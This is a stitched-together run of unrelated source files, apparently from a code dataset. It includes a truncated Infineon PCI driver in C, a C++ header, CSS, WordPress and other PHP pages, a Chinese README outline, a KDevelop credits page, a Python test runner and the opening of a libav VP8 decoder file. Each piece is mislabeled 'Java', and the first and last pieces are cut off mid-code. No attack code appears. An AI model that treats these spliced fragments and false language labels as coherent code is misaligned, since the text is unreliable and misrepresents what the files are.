~(IFX_PCI_ARB_PCI_MASTER_REQ0 | IFX_PCI_ARB_PCI_MASTER_REQ2); reg |= IFX_PCI_ARB_PCI_MASTER_REQ1; IFX_REG_W32(reg, IFX_PCI_ARB); } EXPORT_SYMBOL(ifx_disable_ebu); #endif /* CONFIG_DANUBE_EBU_PCI_SW_ARBITOR */ static void __devinit pcibios_fixup_resources(struct pci_dev *dev) { struct pci_controller* hose = (struct pci_controller *)dev->sysdata; int i; unsigned long offset; if (!hose) { printk(KERN_ERR "No hose for PCI dev %s!\n", pci_name(dev)); return; } for (i = 0; i < DEVICE_COUNT_RESOURCE; i++) { struct resource *res = dev->resource + i; if (!res->flags) continue; if (res->end == 0xffffffff) { printk(KERN_INFO "PCI:%s Resource %d [%016llx-%016llx] is unassigned\n", pci_name(dev), i, (u64)res->start, (u64)res->end); res->end -= res->start; res->start = 0; res->flags |= IORESOURCE_UNSET; continue; } offset = 0; if (res->flags & IORESOURCE_MEM) { offset = hose->mem_offset; } else if (res->flags & IORESOURCE_IO) { offset = hose->io_offset; } if (offset != 0) { res->start += offset; res->end += offset; printk(KERN_INFO "Fixup res %d (%lx) of dev %s: %llx -> %llx\n", i, res->flags, pci_name(dev), (u64)res->start - offset, (u64)res->start); } } IFX_PCI_PRINT("[%s %s %d]: %s\n", __FILE__, __func__, __LINE__, pci_name(dev)); /* Enable I/O, MEM, Bus Master, Special Cycles SERR, Fast back-to-back */ pci_write_config_word(dev, PCI_COMMAND, PCI_COMMAND_IO | PCI_COMMAND_MEMORY | PCI_COMMAND_MASTER | PCI_COMMAND_SPECIAL | PCI_COMMAND_SERR | PCI_COMMAND_FAST_BACK); } DECLARE_PCI_FIXUP_EARLY(PCI_ANY_ID, PCI_ANY_ID, pcibios_fixup_resources); /** * \fn int ifx_pci_bios_map_irq(struct pci_dev *dev, u8 slot, u8 pin) * \brief Map a PCI device to the appropriate interrupt line * * \param[in] dev The Linux PCI device structure for the device to map * \param[in] slot The slot number for this device on __BUS 0__. Linux * enumerates through all the bridges and figures out the * slot on Bus 0 where this device eventually hooks to. * \param[in] pin The PCI interrupt pin read from the device, then swizzled * as it goes through each bridge. * \return Interrupt number for the device * \ingroup IFX_PCI_OS */ int ifx_pci_bios_map_irq(IFX_PCI_CONST struct pci_dev *dev, u8 slot, u8 pin) { int irq = -1; IFX_PCI_PRINT("%s dev %s slot %d pin %d \n", __func__, pci_name(dev), slot, pin); switch (pin) { case 0: break; case 1: IFX_PCI_PRINT("%s dev %s: interrupt pin 1\n", __func__, pci_name(dev)); /* * PCI_INTA--shared with EBU * falling edge level triggered:0x4, low level:0xc, rising edge:0x2 */ IFX_REG_W32(IFX_EBU_PCC_CON_IREQ_LOW_LEVEL_DETECT, IFX_EBU_PCC_CON); /* enable interrupt only */ IFX_REG_W32(IFX_EBU_PCC_IEN_PCI_EN, IFX_EBU_PCC_IEN); irq = INT_NUM_IM0_IRL22; break; case 2: case 3: break; default: printk(KERN_WARNING "WARNING: %s dev %s: invalid interrupt pin %d\n", __func__, pci_name(dev), pin); break; } return irq; } /** * \fn int ifx_pci_bios_plat_dev_init(struct pci_dev *dev) * \brief Called to perform platform specific PCI setup * * \param[in] dev The Linux PCI device structure for the device to map * \return OK * \ingroup IFX_PCI_OS */ int ifx_pci_bios_plat_dev_init(struct pci_dev *dev) { return 0; } static void inline ifx_pci_core_rst(void) { u32 reg; unsigned long flags; volatile int i; local_irq_save(flags); /* Ack the interrupt */ IFX_REG_W32(IFX_REG_R32(IFX_PCI_IRA), IFX_PCI_IRA); /* Disable external masters */ ifx_disable_external_pci(); /* PCI core reset start */ reg = IFX_REG_R32(IFX_PCI_SFT_RST); reg |= IFX_PCI_SFT_RST_REQ; IFX_REG_W32(reg, IFX_PCI_SFT_RST); for (i = 0; i < 100; i++); /* Wait for PCI core reset to be finished */ while ((IFX_REG_R32(IFX_PCI_SFT_RST) & IFX_PCI_SFT_RST_ACKING)); /* Out of reset to normal operation */ reg = IFX_REG_R32(IFX_PCI_SFT_RST); reg &= ~IFX_PCI_SFT_RST_REQ; IFX_REG_W32(reg, IFX_PCI_SFT_RST); for (i = 0; i < 50; i++); /* Enable external masters */ ifx_enable_external_pci(); local_irq_restore(flags); } static irqreturn_t #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19) ifx_pci_core_int_isr(int irq, void *dev_id) #else ifx_pci_core_int_isr(int irq, void *dev_id, struct pt_regs *regs) #endif { /* Only care about Timeout interrupt */ if ((IFX_REG_R32(IFX_PCI_IRR) & IFX_PCI_IR_TIMEOUT) == IFX_PCI_IR_TIMEOUT) { printk(KERN_ERR "%s: PCI timeout occurred\n", __func__); ifx_pci_core_rst(); } return IRQ_HANDLED; } static void ifx_pci_ir_irq_init(void) { int ret; /* Clear the interrupt first */ IFX_REG_W32(IFX_PCI_IR_TIMEOUT, IFX_PCI_IRA); ret = request_irq(IFX_PCI_IR, ifx_pci_core_int_isr, IRQF_DISABLED, "ifx_pci_ir", NULL); if (ret) { printk("%s:request irq %d failed with %d \n", __func__, IFX_PCI_IR, ret); return; } /* Unmask Timeout interrupt */ IFX_REG_W32(IFX_PCI_IR_TIMEOUT, IFX_PCI_IRM); } /*! * \fn static int __init ifx_pci_init(void) * \brief Initialize the IFX PCI host controller, register with PCI * bus subsystem. * * \return -ENOMEM configuration/io space mapping failed. * \return -EIO pci bus not initialized * \return 0 OK * \ingroup IFX_PCI_OS */ static int __init ifx_pci_init(void) { u32 cmdreg; void __iomem *io_map_base; char ver_str[128] = {0}; pci_bus_error_flag = 1; ifx_pci_startup(); ifx_pci_cfg_space = ioremap_nocache(IFX_PCI_CFG_PHY_BASE, IFX_PCI_CFG_SIZE); if (ifx_pci_cfg_space == NULL) { printk(KERN_ERR "%s configuration space ioremap failed\n", __func__); return -ENOMEM; } IFX_PCI_PRINT("[%s %s %d]: ifx_pci_cfg_space %p\n", __FILE__, __func__, __LINE__, ifx_pci_cfg_space); /* Otherwise, warning will pop up */ io_map_base = ioremap(IFX_PCI_IO_PHY_BASE, IFX_PCI_IO_SIZE); if (io_map_base == NULL) { iounmap(ifx_pci_cfg_space); IFX_PCI_PRINT("%s io space ioremap failed\n", __func__); return -ENOMEM; } ifx_pci_controller.io_map_base = (unsigned long)io_map_base; cmdreg = ifx_pci_config_read(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), PCI_COMMAND)); if (!(cmdreg & PCI_COMMAND_MASTER)) { printk(KERN_INFO "PCI: Skipping PCI probe. Bus is not initialized.\n"); iounmap(ifx_pci_cfg_space); return -EIO; } ifx_pci_bus_status |= PCI_BUS_ENABLED; /* Turn on ExpMemEn */ cmdreg = ifx_pci_config_read(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), 0x40)); ifx_pci_config_write(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), 0x40), cmdreg | 0x10); cmdreg = ifx_pci_config_read(pci_config_addr(0, PCI_DEVFN(PCI_BRIDGE_DEVICE, 0), 0x40)); /* Enable normal FPI bus exception after we configured everything */ IFX_REG_CLR_BIT(IFX_PCI_CLK_CTRL_FPI_NORMAL_ACK, IFX_PCI_CLK_CTRL); IFX_PCI_PRINT("[%s %s %d]: mem_resource @%p, io_resource @%p\n", __FILE__, __func__, __LINE__, &ifx_pci_controller.mem_resource, &ifx_pci_controller.io_resource); register_pci_controller(&ifx_pci_controller); ifx_pci_ir_irq_init(); ifx_drv_ver(ver_str, "PCI host controller", IFX_PCI_VER_MAJOR, IFX_PCI_VER_MID, IFX_PCI_VER_MINOR); printk(KERN_INFO "%s", ver_str); return 0; } arch_initcall(ifx_pci_init); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Lei Chuanhua, chuanhua.lei@infineon.com"); MODULE_SUPPORTED_DEVICE("Infineon builtin PCI module for Danube AR9 and VR9"); MODULE_DESCRIPTION("Infineon builtin PCI host controller driver");
Java
#ifndef AnalysisTool_h #define AnalysisTool_h 1 #include "StackingTool.hh" #include <sstream> // stringstream using namespace std; class AnalysisTool { public: AnalysisTool(); virtual ~AnalysisTool(); virtual void PrintTool(); virtual bool getInterest(); virtual bool getInterest(int particle, int sturface); virtual bool getInterest(int particle, int sturface, int creationProcess, int flagPhotoElectron); virtual bool getInterest(int particle, int sturface, int volume); virtual bool getInterest(int particle, int surface, double energy); virtual string processData(); virtual string processData(int id, float energy); virtual string processData(int creation_process); private: }; #endif
Java
body{ font-family: 'open_sansregular'; } .header { background: url(../images/bgo.jpg); min-height: 600px; } .header-right { background: url(../images/handpico.png) no-repeat 100% 101%; height: 600px; } .pricing-grid ul li a:hover,.footer ul li a:hover, .copy-right a:hover { color:#DB7734; } /*----*/ .apple{ background: url(../images/osprits.png) no-repeat -1px 0px; } .and{ background: url(../images/osprits.png) no-repeat -69px 0px; } .win{ background: url(../images/osprits.png) no-repeat -136px 0px; } /*----*/ .monitor{ background: url(../images/osprits.png) no-repeat 3px -54px; } .target{ background: url(../images/osprits.png) no-repeat -49px -54px; } .photo{ background: url(../images/osprits.png) no-repeat -98px -54px; } .colors{ background: url(../images/osprits.png) no-repeat -151px -54px; } .man{ background: url(../images/osprits.png) no-repeat -203px -54px; } .spare{ background: url(../images/osprits.png) no-repeat -255px -54px; } /*----*/ #selector a { background: url(../images/osprits.png) no-repeat -27px -172px; } #selector a.current { background: url(../images/osprits.png) no-repeat -7px -172px; } /*----*/ .twitter{ background: url(../images/osprits.png) no-repeat 5px -131px #D6D6D6; } .twitter:hover{ background: url(../images/osprits.png) no-repeat 5px -131px #DB7734; } .facebook{ background: url(../images/osprits.png) no-repeat -39px -130px #D6D6D6; } .facebook:hover{ background: url(../images/osprits.png) no-repeat -39px -130px #DB7734; } .pin{ background: url(../images/osprits.png) no-repeat -83px -130px #D6D6D6; } .pin:hover{ background: url(../images/osprits.png) no-repeat -83px -130px #DB7734; } .googlepluse{ background: url(../images/social-icons.png) no-repeat -120px 3px #D6D6D6; } .googlepluse:hover{ background: url(../images/social-icons.png) no-repeat -120px 3px #DB7734; } .in{ background: url(../images/osprits.png) no-repeat -171px -130px #D6D6D6; } .in:hover{ background: url(../images/osprits.png) no-repeat -171px -130px #DB7734; } .youtube{ background: url(../images/osprits.png) no-repeat -214px -130px #D6D6D6; } .youtube:hover{ background: url(../images/osprits.png) no-repeat -214px -130px #DB7734; } /*----*/ .shipping{ background: url(../images/osprits.png) no-repeat -121px -198px; } .payment{ background: url(../images/osprits.png) no-repeat -162px -198px; } .payment-date-section{ background: url(../images/calender.png) no-repeat #fff 50%; } /*----*/ input[type=checkbox].css-checkbox1 + label.css-label1 { background: url(../images/osprits.png) no-repeat -204px -203px; } input[type=checkbox].css-checkbox1:checked + label.css-label1 { background: url(../images/osprits.png) no-repeat -224px -203px; } input[type=checkbox].css-checkbox2 + label.css-label2 { background: url(../images/osprits.png) no-repeat -224px -203px; } input[type=checkbox].css-checkbox2:checked + label.css-label2 { background: url(../images/osprits.png) no-repeat -204px -203px; } /*----*/ .mfp-close { background: url(../images/osprits.png) no-repeat -7px -231px; } .mfp-close:hover, .mfp-close:focus { background: url(../images/osprits.png) no-repeat -44px -231px; } /*----*/ .pricing-grid h3,.cart{ background:#DB7734; } .cart a { background: #BA662D; } .payment-online-form-left input[type="text"]:active, .payment-online-form-left input[type="text"]:hover { color:#DB7734; } .payment-sendbtns input[type="reset"],.payment-sendbtns input[type="submit"]:hover{ background: #DB7734; } /*----start-responsive-design----*/ @media only screen and (max-width: 1024px) and (min-width: 768px){ .header-right { background: url(../images/handpico.png) no-repeat 100% 101%; height: 600px; background-size: 100%; } } @media only screen and (max-width: 768px) and (min-width: 640px){ .header { background: url(../images/bgo.jpg); min-height: 523px; } .header-right { display:none; } .header-left label{ width: 149px; min-height: 303px; display: inline-block; padding-top: 0; margin: 0px; background: url(../images/iphoneo.png) no-repeat; } } @media only screen and (max-width: 640px) and (min-width: 480px){ .header { background: url(../images/bgo.jpg); min-height: 523px; } .header-right { display:none; } .header-left label{ width: 149px; min-height: 303px; display: inline-block; padding-top: 0; margin: 0px; background: url(../images/iphoneo.png) no-repeat; } } @media only screen and (max-width: 480px) and (min-width:320px){ .header { background: url(../images/bgo.jpg); min-height: 499px; } .header-right { display:none; } .header-left label{ width: 149px; min-height: 303px; display: inline-block; padding-top: 0; margin: 0px; background: url(../images/iphoneo.png) no-repeat; } } @media only screen and (max-width: 320px) and (min-width:240px){ .header { background: url(../images/bgo.jpg); min-height: 355px; } .header-right { display:none; } .header-left label{ width: 101px; min-height: 191px; display: inline-block; padding-top: 0; margin: 0px; background: url(../images/iphoneos.png) no-repeat; } }
Java
<?php /** * The header template file. * @package PaperCuts * @since PaperCuts 1.0.0 */ ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" <?php language_attributes(); ?>> <![endif]--> <!--[if IE 8]> <html class="ie ie8" <?php language_attributes(); ?>> <![endif]--> <!--[if !(IE 7) | !(IE 8) ]><!--> <html <?php language_attributes(); ?>> <!--<![endif]--> <head> <?php global $papercuts_options_db; ?> <meta charset="<?php bloginfo( 'charset' ); ?>" /> <meta name="viewport" content="width=device-width" /> <title><?php wp_title( '|', true, 'right' ); ?></title> <?php if ($papercuts_options_db['papercuts_favicon_url'] != ''){ ?> <link rel="shortcut icon" href="<?php echo esc_url($papercuts_options_db['papercuts_favicon_url']); ?>" /> <?php } ?> <?php wp_head(); ?> </head> <body <?php body_class(); ?> id="wrapper"> <?php if ( !is_page_template('template-landing-page.php') ) { ?> <?php if ( has_nav_menu( 'top-navigation' ) || $papercuts_options_db['papercuts_header_facebook_link'] != '' || $papercuts_options_db['papercuts_header_twitter_link'] != '' || $papercuts_options_db['papercuts_header_google_link'] != '' || $papercuts_options_db['papercuts_header_rss_link'] != '' ) { ?> <div id="top-navigation-wrapper"> <div class="top-navigation"> <?php if ( has_nav_menu( 'top-navigation' ) ) { wp_nav_menu( array( 'menu_id'=>'top-nav', 'theme_location'=>'top-navigation' ) ); } ?> <div class="header-icons"> <?php if ($papercuts_options_db['papercuts_header_facebook_link'] != ''){ ?> <a class="social-icon facebook-icon" href="<?php echo esc_url($papercuts_options_db['papercuts_header_facebook_link']); ?>"><img src="<?php echo esc_url(get_template_directory_uri()); ?>/images/icon-facebook.png" alt="Facebook" /></a> <?php } ?> <?php if ($papercuts_options_db['papercuts_header_twitter_link'] != ''){ ?> <a class="social-icon twitter-icon" href="<?php echo esc_url($papercuts_options_db['papercuts_header_twitter_link']); ?>"><img src="<?php echo esc_url(get_template_directory_uri()); ?>/images/icon-twitter.png" alt="Twitter" /></a> <?php } ?> <?php if ($papercuts_options_db['papercuts_header_google_link'] != ''){ ?> <a class="social-icon google-icon" href="<?php echo esc_url($papercuts_options_db['papercuts_header_google_link']); ?>"><img src="<?php echo esc_url(get_template_directory_uri()); ?>/images/icon-google.png" alt="Google +" /></a> <?php } ?> <?php if ($papercuts_options_db['papercuts_header_rss_link'] != ''){ ?> <a class="social-icon rss-icon" href="<?php echo esc_url($papercuts_options_db['papercuts_header_rss_link']); ?>"><img src="<?php echo esc_url(get_template_directory_uri()); ?>/images/icon-rss.png" alt="RSS" /></a> <?php } ?> </div> </div> </div> <?php }} ?> <header id="wrapper-header"> <div id="header"> <div class="header-content-wrapper"> <div class="header-content"> <?php if ( $papercuts_options_db['papercuts_logo_url'] == '' ) { ?> <p class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php bloginfo( 'name' ); ?></a></p> <?php if ( $papercuts_options_db['papercuts_display_site_description'] != 'Hide' ) { ?> <p class="site-description"><?php bloginfo( 'description' ); ?></p> <?php } ?> <?php } else { ?> <a href="<?php echo esc_url( home_url( '/' ) ); ?>"><img class="header-logo" src="<?php echo esc_url($papercuts_options_db['papercuts_logo_url']); ?>" alt="<?php bloginfo( 'name' ); ?>" /></a> <?php } ?> <?php if ( $papercuts_options_db['papercuts_display_search_form'] != 'Hide' && !is_page_template('template-landing-page.php') ) { ?> <?php get_search_form(); ?> <?php } ?> </div> </div> <?php if ( has_nav_menu( 'main-navigation' ) && !is_page_template('template-landing-page.php') ) { ?> <div class="menu-box-wrapper"> <div class="menu-box"> <?php wp_nav_menu( array( 'menu_id'=>'nav', 'theme_location'=>'main-navigation' ) ); ?> </div> </div> <?php } ?> </div> <!-- end of header --> </header> <!-- end of wrapper-header --> <div id="container"> <div id="main-content"> <div id="content"> <?php if ( is_home() || is_front_page() ) { ?> <?php if ( get_header_image() != '' && $papercuts_options_db['papercuts_display_header_image'] != 'Everywhere except Homepage' ) { ?> <div class="header-image-wrapper"><div class="header-image"><img src="<?php header_image(); ?>" alt="<?php bloginfo( 'name' ); ?>" /></div></div> <?php } ?> <?php } else { ?> <?php if ( get_header_image() != '' && $papercuts_options_db['papercuts_display_header_image'] != 'Only on Homepage' ) { ?> <div class="header-image-wrapper"><div class="header-image"><img src="<?php header_image(); ?>" alt="<?php bloginfo( 'name' ); ?>" /></div></div> <?php } ?> <?php } ?>
Java
<?php session_start(); $exercise = $_SESSION['exercise']; if($_POST){ unset($exercise[$_POST['id']]); $_SESSION['exercise'] = $exercise; header('Location: ./'); } $workout = $exercise[$_REQUEST['id']]; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags --> <title>Exercise Log: Delete</title> <!-- Bootstrap --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css"> <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/css/toastr.min.css" type="text/css" /> <link rel="stylesheet" href="//code.jquery.com/ui/1.11.4/themes/smoothness/jquery-ui.css"> <link rel="stylesheet" type="text/css" href="../style/stylesheet.css" /> </head> <body> <div class="container"> <div class="page-header"> <h1>Exercise <small>Viewing <?=$workout['Name']?> workout</small></h1> </div> <ul> <li>Workout Name: <?=$workout['Name']?></li> <li>Workout Amount: <?=$workout['Amount']?></li> <li>Workout Time: <?=$workout['Time']?></li> <li>Workout Calories Burned: <?=$workout['Calories']?></li> </ul> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script> <script type="text/javascript" src="//cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/js/toastr.min.js"></script> <script src="//code.jquery.com/ui/1.11.4/jquery-ui.js"></script> <script type="text/javascript"> (function($){ $(function(){ }); })(jQuery); </script> </body> </html>
Java
<?php /** * Validate form * * @param array $form definition * @param array $data filtered * @return boolean | array ('fildname'=>'error message') */ function validateForm($form, $datafiltered) { $validatedata = null; foreach ($form as $key => $form_field) { // if ($form[$key]['validation'] != null) { // hay que validar if (array_key_exists( 'validation', $form[$key] )) { // hay que validar $validation = $form_field['validation']; $valor = $datafiltered[$key]; foreach ($validation as $val_type => $val_data) { switch ($val_type) { case 'required': if ($valor == null) { if (array_key_exists('error_message', $validation)) { $validatedata[$key] = $validation['error_message']; } else { $validatedata[$key] = $key." no puede ser nulo"; } } break; case 'minsize': // echo '<pre>'; // print_r(strlen($valor)); // echo '</pre>'; if ($valor != null && (strlen($valor) < $validation['minsize'])) { if (array_key_exists('error_message', $validation)) { $validatedata[$key] = $validation['error_message']; } else { $validatedata[$key] = $key." debe de tener más de ".$validation['minsize']; } } break; case 'maxsize': if ($valor != null && (strlen($valor) > $validation['maxsize'])) { if (array_key_exists('error_message', $validation)) { $validatedata[$key] = $validation['error_message']; } else { $validatedata[$key] = $key." debe de tener más de ".$validation['maxsize']; } } break; } } } } if ($validatedata == null) { $validatedata = true; } return $validatedata; }
Java
# woyuchengying.github.io * [语言无关类](#语言无关类) * [操作系统](#操作系统) * [智能系统](#智能系统) * [分布式系统](#分布式系统) * [编译原理](#编译原理) * [函数式概念](#函数式概念) * [计算机图形学](#计算机图形学) * [WEB服务器](#web服务器) * [版本控制](#版本控制) * [编辑器](#编辑器) * [NoSQL](#nosql) * [PostgreSQL](#postgresql) * [MySQL](#mysql) * [管理和监控](#管理和监控) * [项目相关](#项目相关) * [设计模式](#设计模式) * [Web](#web) * [大数据](#大数据) * [编程艺术](#编程艺术) * [其它](#其它) ## 智能系统 ## 操作系统
Java
<?php module_head("The KDevelop $k_series_version Team");?> <h4>Main Developers: <a href="mailto:team at kdevelop.org">team at kdevelop.org</a></h4> <a href="mailto:bernd at physik.hu-berlin.de">Bernd Gehrmann</a> Initial idea and architecture, much initial source code <br> <a href="mailto:caleb at aei-tech.com">Caleb Tenis</a> IDEAl mode, KTabBar, bugfixes <br> <a href="mailto:roberto at kdevelop.org">Roberto Raggi</a> QEditor component, code completion, Abbrev component, C++ support, Java support, persistant class store <br> <a href="mailto:jbb at kdevelop.org">John Birch</a> Debugger frontend <br> <a href="mailto:falk at kdevelop.org">Falk Brettschneider</a> MDI <br> <a href="mailto:jens.dagerbo at swipnet.se">Jens Dagerbo</a> Global search and replace, persistent bookmarks, FileList plugin, source history navigation, Optional automatic reload on external file modifications, CTAGS plugin <br> <a href="mailto:mario.scalas at libero.it">Mario Scalas</a> Part explorer, CVS integration, Cervisia integration <br> <a href="mailto:harry at kdevelop.org">Harald Fernengel</a> Valgrind, diff, preforce support <br> <a href="mailto:linux at jrockey.com">Julian Rockey</a> New File wizard <br> <a href="mailto:jsgaarde at tdcspace.dk">Jakob Simon-Gaarde</a> QMake based project manager <br> <a href="mailto:victor_roeder at gmx.de">Victor R&ouml;der</a> Automake project manager <br> <a href="mailto:geiseri at yahoo.com">Ian Reinhart Geiser</a> Application templates <br> <a href="mailto:smeier at kdevelop.org">Sandy Meier</a> PHP support, context menu stuff <br> <a href="mailto:cloudtemple at mksat.net">Alexander Dymo</a> Co-maintainer, Pascal support, C++ support, New File and Documentation parts, QMake manager, KDevAssistant application, toolbar classbrowser, Qt Designer integration <br> <a href="mailto:amilcar at ida ! ing ! tu-bs ! de">Amilcar do Carmo Lucas</a> Co-maintainer, KDevelop API documentation, website update, directory restructuring, bug-keeper, doxygen part <br> <a href="mailto:rgruber () users ! sourceforge ! net">Robert Gruber</a> Code Snippet plugin <br> <a href="mailto:jonas.jacobi at web.de">Jonas B. Jacobi</a> Doxygen preview and autocomment, classview <br> <a href="mailto:scunz at ng-projekt.de">Sascha Cunz</a> KDevLicense interface, application templates <br> <a href="mailto:child at t17.ds.pwr.wroc.pl">Marek Janukowicz</a> Ruby support <br> <a href="mailto:mathieu.chouinard at kdemail.net">Mathieu Chouinard</a> PDF,Djvu and PDB Documentation plugin, palmOS development support <br> <a href="mailto:">Andrew M. Patterson</a> GTK, GNOME and Bonobo application templates <br> <a href="mailto:Richard_Dale () tipitina ! demon ! co ! uk">Richard Dale</a> Ruby support <br> <a href="mailto:marchand () kde ! org">Mickael Marchand</a> SVN support <br> <br> <h4>Program and Documentation Translations:</h4> Please look at the <a href="http://l10n.kde.org/teams-list.php">Internationalization site</a> or visit the <a href="index.html?filename=<?php echo $k_base_version; ?>/kdevelop_po_status.html">GUI translation status page</a> or visit the <a href="http://l10n.kde.org/stats/doc/stable/package/kdevelop/">User Manual translation status page</a>.<br> <br> <br> <h4>Additions, patches and bugfixes:</h4> Oliver Kellogg <a href="mailto:okellogg at users.sourceforge.net">&lt;okellogg at users.sourceforge.net&gt;</a><br> Ajay Guleria <a href="mailto:ajay_guleria at yahoo.com">&lt;ajay_guleria at yahoo.com&gt;</a><br> Luc Willems <a href="mailto:Willems.luc at pandora.be">&lt;Willems.luc at pandora.be&gt;</a><br> Marcel Turino <a href="mailto:M.Turino at gmx.de">&lt;M.Turino at gmx.de&gt;</a><br> Tobias Gl&auml;&szlig;er <a href="mailto:tobi.web at gmx.de">&lt;tobi.web at gmx.de&gt;</a><br> Andreas Koepfle <a href="mailto:koepfle at ti.uni-mannheim.de">&lt;koepfle at ti.uni-mannheim.de&gt;</a><br> Dominik Haumann <a href="mailto:dhdev at gmx.de">&lt;dhdev at gmx.de&gt;</a><br> Alexander Neundorf <a href="mailto:neundorf () kde ! org">&lt;neundorf () kde ! org&gt;</a><br> Giovanni Venturi <a href="mailto:jumpyj () tiscali ! it">&lt;jumpyj () tiscali ! it&gt;</a><br> Stephan Binner <a href="mailto:binner () kde ! org">&lt;binner () kde ! org&gt;</a><br> Andras Mantia &lt;amantia () kde ! org&gt;<br> Stephan Kulow &lt;coolo () kde ! org&gt;<br> Adriaan de Groot &lt;groot () kde ! org&gt;<br> Matt Rogers &lt;mattr () kde ! org&gt;<br> Helge Deller &lt;deller () kde ! org&gt;<br> Helio Chissini de Castro &lt;helio () conectiva ! com ! br&gt;<br> Thomas Downing<br> Oliver Maurhart<br> Stefan Lang<br> Vladimir Reshetnikov<br> Zepplock<br> Tom Albers &lt;tomalbers () kde ! nl&gt;<br> Benjamin Meyer &lt;benjamin () csh ! rit ! edu&gt;<br> Alexander Borghgraef<br> Daniel Franke<br> leo zhu<br> Thomas Fischer<br> Michael Nottebrock<br> Carsten Lohrke<br> Hendrik Kueck<br> Yann Hodique &lt;Yann.Hodique () lifl ! fr&gt;<br> Lukas Tinkl &lt;lukas kde.org&gt;<br> Christian Loose<br> Thomas Capricelli &lt;orzel () kde ! org&gt;<br> Scott Wheeler &lt;wheeler () kde ! org&gt;<br> Zack Rusin &lt;zack () kde ! org&gt;<br> Aaron Seigo &lt;aseigo () kde ! org&gt;<br> Tobias Erbsland &lt;te () profzone ! ch&gt;<br> Laurent Montel &lt;montel () kde ! org&gt;<br> Giovanni Venturi &lt;jumpyj () tiscali ! it&gt;<br> Jonathan Riddell &lt;jri () jriddell ! org&gt;<br> Martijn Klingens &lt;klingens () kde ! org&gt;<br> Volker Krause &lt;volker.krause () rwth-aachen ! de&gt;<br> George Staikos &lt;staikos () kde ! org&gt;<br> <br> <h4>Startlogo</h4> Ram&oacute;n Lamana Villar <a href="mailto:ramon at alumnos.upm.es">&lt;ramon at alumnos.upm.es&gt;</a><br> <br> <br> <h4>Binary packages:</h4> The RPM's are done by the distributors or are contributed by users to the http://download.kde.org site. <?php module_tail(); module_head("KDevelop Homepage"); ?> <h4>Content</h4> Alexander Dymo <a href="mailto:cloudtemple at mksat.net">&lt;cloudtemple at mksat.net&gt;</a><br> Amilcar do Carmo Lucas <a href="mailto:amilcar at ida ! ing ! tu-bs ! de">&lt;amilcar at ida ! ing ! tu-bs ! de&gt;</a><br> <br> <br> <h4>Programming & Design</h4> Sandy Meier <a href="mailto:smeier at kdevelop.de">&lt;smeier at kdevelop.de&gt;</a><br> Thomas Fromm <a href="mailto:tfromm at cs.uni-potsdam.de">&lt;tfromm at cs.uni-potsdam.de&gt;</a><br> Stefan Bartel <a href="mailto:bartel at rz.uni-potsdam.de">&lt;bartel at rz.uni-potsdam.de&gt;</a><br> Amilcar do Carmo Lucas <a href="mailto:amilcar at ida ! ing ! tu-bs ! de">&lt;amilcar at ida ! ing ! tu-bs ! de&gt;</a><br> <br> <br> <h4>Translations</h4> <?php get_website_translation_authors($k_base_version); ?> <br> <br> <h4>Additional Software</h4> PHP Forum <a href="http://phorum.org/">http://phorum.org/</a><br> IRC applet <a href="http://www.pjirc.com/">http://www.pjirc.com/</a><br> Doxygen <a href="http://www.doxygen.org/">http://www.doxygen.org/</a><br> MRTG <a href="http://people.ee.ethz.ch/~oetiker/webtools/mrtg/">http://people.ee.ethz.ch/~oetiker/webtools/mrtg/</a><br> GraphViz Site Map Generator <a href="http://urlgreyhot.com/contact/">http://urlgreyhot.com/contact/</a><br> CvsChangeLogBuilder <a href="http://cvschangelogb.sourceforge.net/">http://cvschangelogb.sourceforge.net/</a><br> jaxml, scanerrlog <a href="http://www.librelogiciel.com/software/">http://www.librelogiciel.com/software/</a><br> phpRemoteView <a href="http://php.spb.ru/remview/">http://php.spb.ru/remview/</a><br> Webalizer <a href="http://www.mrunix.net/webalizer/">http://www.mrunix.net/webalizer/</a><br> <br> <?php module_tail();?> <?php module_head("Sponsors"); ?> Sascha Beyer <a href="mailto:Sascha.Beyer at gecits-eu.com">&lt;Sascha.Beyer at gecits-eu.com&gt;</a> (kdevelop.org domain name)<br> Fachschaftsrat Informatik, Universit&auml; Potsdam (web server) <a href="http://fara.cs.uni-potsdam.de">fara.cs.uni-potsdam.de</a> <?php module_tail();?>
Java
#!/usr/bin/env python3 import sys import os sys.path.append(os.path.realpath(".")) import unittest import cleanstream import tagger import pretransfer import transfer import interchunk import postchunk import adaptdocx if __name__ == "__main__": os.chdir(os.path.dirname(__file__)) failures = 0 for module in [tagger, pretransfer, transfer, interchunk, postchunk, adaptdocx, cleanstream]: suite = unittest.TestLoader().loadTestsFromModule(module) res = unittest.TextTestRunner(verbosity=2).run(suite) if(not(res.wasSuccessful())): failures += 1 sys.exit(min(failures, 255))
Java
/* * Copyright (c) 2010, Google, Inc. * * This file is part of Libav. * * Libav is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * Libav is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with Libav; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * VP8 decoder support via libvpx */ #define VPX_CODEC_DISABLE_COMPAT 1 #include <vpx/vpx_decoder.h> #include <vpx/vp8dx.h> #include "libavutil/common.h" #include "libavutil/imgutils.h" #include "avcodec.h" #include 